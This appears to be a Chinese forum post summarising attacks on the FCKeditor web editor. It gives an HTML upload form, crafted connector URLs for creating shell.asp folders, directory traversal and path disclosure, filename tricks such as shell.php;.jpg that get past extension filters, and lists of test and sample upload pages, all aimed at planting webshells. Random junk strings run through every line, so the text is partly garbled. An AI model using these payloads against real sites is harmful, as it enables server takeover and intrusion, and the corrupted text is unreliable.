Fckeditor漏洞利用总结 0 R' T7 R& ]. }- h9 M
查看编辑器版本+ z3 Q1 `% Z) Q8 {0 f3 e) D- ^. X3 }2 T$ A
FCKeditor/_whatsnew.html' o. D2 U$ I3 i- K
—————————————————————————————————————————————————————————————1 Z; s+ e; u, \" ~# \$ ]
. D; v5 m* T1 y/ o' Q2. Version 2.2 版本
' ~, J9 W9 `; Z) o: w I# iApache+linux 环境下在上传文件后面加个.突破!测试通过。- C6 \% `% c5 G( y) n5 {# H5 T0 d
—————————————————————————————————————————————————————————————
# K# h0 `( O+ d! m+ b& w( q
2 }! x+ e+ I" |* p7 d3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。. H% |' N7 |. H: i& f k v* g& d
<form id="frmUpload" enctype="multipart/form-data"
9 T. X+ j/ W# haction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
- o# Y, P+ g2 J0 R+ r<input type="file" name="NewFile" size="50"><br>" \4 u) S2 i" T. v1 n. e
<input id="btnUpload" type="submit" value="Upload">
8 @$ T, b! a7 c</form>- o! X# F. ~- R$ i$ D
—————————————————————————————————————————————————————————————
2 e/ I8 O6 v' V- N
& C$ }; t. G7 D+ l9 X! k4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
" d% `' O9 ~$ t( s. S 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。8 I! d$ s# S2 S8 R: @, S
4.1:提交shell.php+空格绕过
! j& ?, g [% `# @5 l不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
& I6 u4 r0 {8 ^: _4 Y2 v 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
, g! m* e5 d: r$ H* r$ J—————————————————————————————————————————————————————————————% I2 A" x: y2 ]: o. c }
- m: q o& w: q! {: T5. 突破建立文件夹5 z7 R: d$ n- N" T. w
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
3 D1 n0 c2 n+ N6 D& ~3 JFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
2 P( a$ {5 `- ^5 I3 p; ~3 w—————————————————————————————————————————————————————————————
) f$ s5 d: {5 c$ U) j+ ~* T
# v K, I, M9 c$ A5 u) ]6. FCKeditor 中test 文件的上传地址" y9 s7 E. ?# J4 Q5 T O
FCKeditor/editor/filemanager/browser/default/connectors/test.html
" C, T! B( {: `6 Q/ ?, Z5 O- u DFCKeditor/editor/filemanager/upload/test.html
, X. } H8 K* d* H A u4 hFCKeditor/editor/filemanager/connectors/test.html
/ X* |5 {3 X' OFCKeditor/editor/filemanager/connectors/uploadtest.html3 K3 i) B0 O& d" D1 Q
—————————————————————————————————————————————————————————————1 ]8 d, a. @) |
1 |" R- Y h( I5 O, j
7.常用上传地址& I' e" |/ G) Z
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/3 b1 F/ U/ a1 S( @3 p
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
) \0 u; x, B6 lFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
0 e, K" C& k; ~. }& hJSP 版:9 _0 P2 P+ G" B% r H3 u) y
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp \5 X* i2 D$ W$ J+ w6 Q5 n6 ]
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
8 b- x) R/ j) O" k件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。& Q3 m2 D7 V, h4 y0 ` C# N
—————————————————————————————————————————————————————————————9 Q7 W4 }' u* Z
) y2 `( P L5 H5 q( C, u8 d
8.其他上传地址
: w' K8 [0 Q+ a' y( f6 [FCKeditor/_samples/default.html
0 p* l! P& @; i+ rFCKeditor/_samples/asp/sample01.asp
+ V) R$ r& w4 v8 kFCKeditor/_samples/asp/sample02.asp
5 F9 l* F8 T2 }& T. I1 x; |' PFCKeditor/_samples/asp/sample03.asp; Q1 y2 \% ~% p2 f
FCKeditor/_samples/asp/sample04.asp0 ?' D4 U8 v5 ?- G5 }2 l0 w- m
一般很多站点都已删除_samples 目录,可以试试。2 T! T Z/ d# Q% c* h
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。' U9 X! T' g: \
—————————————————————————————————————————————————————————————. v6 r1 F6 M2 f% J, W) {6 {1 M2 y
r ?6 L T6 t7 J) Q3 o2 b! S; }
9.列目录漏洞也可助找上传地址: A$ c1 k5 U3 q2 A- i' x# q5 |! M
Version 2.4.1 测试通过5 g' k4 K7 s. J9 k
修改CurrentFolder 参数使用 ../../来进入不同的目录 U" q e2 V2 `1 n6 o3 N
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
* T) @1 k& ]* ]' r1 P根据返回的XML 信息可以查看网站所有的目录。
6 C ]; h* c. I& ?& IFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
% P0 a0 J% I( t% h+ s也可以直接浏览盘符:/ E# V1 ` o7 E1 W, ~
JSP 版本:9 u3 a( L, Y7 u8 j! g5 s2 S2 C4 ]7 q
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
g' }% {" f- B# o5 `—————————————————————————————————————————————————————————————
X! `' O0 T5 B$ E
) w4 Q# L. Q( l7 s10.爆路径漏洞5 P- ^& v; [. Q
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp% B' z9 ]' w. w
—————————————————————————————————————————————————————————————
- w* ~; Q2 M2 i6 J" V4 p/ g
* K, v0 a, c( l% b& i11. FCKeditor 被动限制策略所导致的过滤不严问题
! O, M) }0 j* b5 m2 O 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
7 R) i% Y G/ O+ B9 u脆弱描述:) D; L# q' F4 b4 Q' R
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
`* p: Z* l' g0 r9 \html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm; i& e6 P+ k o1 L' U, i
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
) V' }2 T: N4 u( K4 G6 j. d* s 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
& N4 w. L2 B' n. Y4 m+ ]0 ]# U 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
) f& g2 Q8 m) W) e4 p* j8 e—————————————————————————————————————————————————————————————
$ S$ Z. P) f& o8 M, N7 B8 C: U
12.最古老的漏洞,Type文件没有限制!
d9 r: ~1 G# V( r1 Z% e) x 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
- i4 i9 l3 H$ x1 x0 I, T—————————————————————————————————————————————————————————————
+ A" Z9 e" K9 F- ]* L9 V2 I; }1 l
, O. y& X) G# w8 B1 E===============================================================================================================================================0 P0 ~8 m0 h" J# C2 ?+ }
' w4 A1 r: m# K* H
FCK编辑器jsp版本漏洞:
4 @& b9 {% e! w1 f1 m. T" e3 N4 a0 D C" K8 a4 Z* l+ d1 F$ C& i
- Y) b* ]" {. Q7 m4 ^0 V- i! c
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F) N8 e* g) Q& k( A: B
' R1 a% `2 u' y# ]2 f) E上传马所在目录/ s& @' t) S" L% R
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
& O* `" b+ } z3 Z上传shell的地址:
/ O: a3 O% b8 O6 D0 Whttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
" E- p3 o. q7 U/ W7 X, P. A跟版本有关系.并不是百分百成功. 测试成功几个站.2 e% R8 |: ]; L" U2 h# b1 k6 S
不能通杀.很遗憾.4 B' B; U: ?. W
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector2 R" n/ ]. E0 W8 A# I" _- h
如果以上地址不行可以试试
9 l& D ~* O: r" BFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
" r: I1 x& z6 o9 ?# p* n) n# kFCKeditor/_samples/
3 t& ^& W, b: [1 w$ s* g5 xFCKeditor/_samples/default.html
# H6 f2 n2 P7 a( gFCKeditor/editor/fckeditor.htm
5 d5 E7 X8 x! E+ o! ]. QFCKeditor/editor/fckdialog.html
, X! p, B) Z! u6 `$ M4 F7 ]; D5 a4 ~/ |$ b. q' M3 R: t
4 j% y/ t3 a. f
; q+ Z/ F8 T5 m5 f. p3 L
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg6 \3 E1 Y* q% L! I6 v! y) Z1 E
|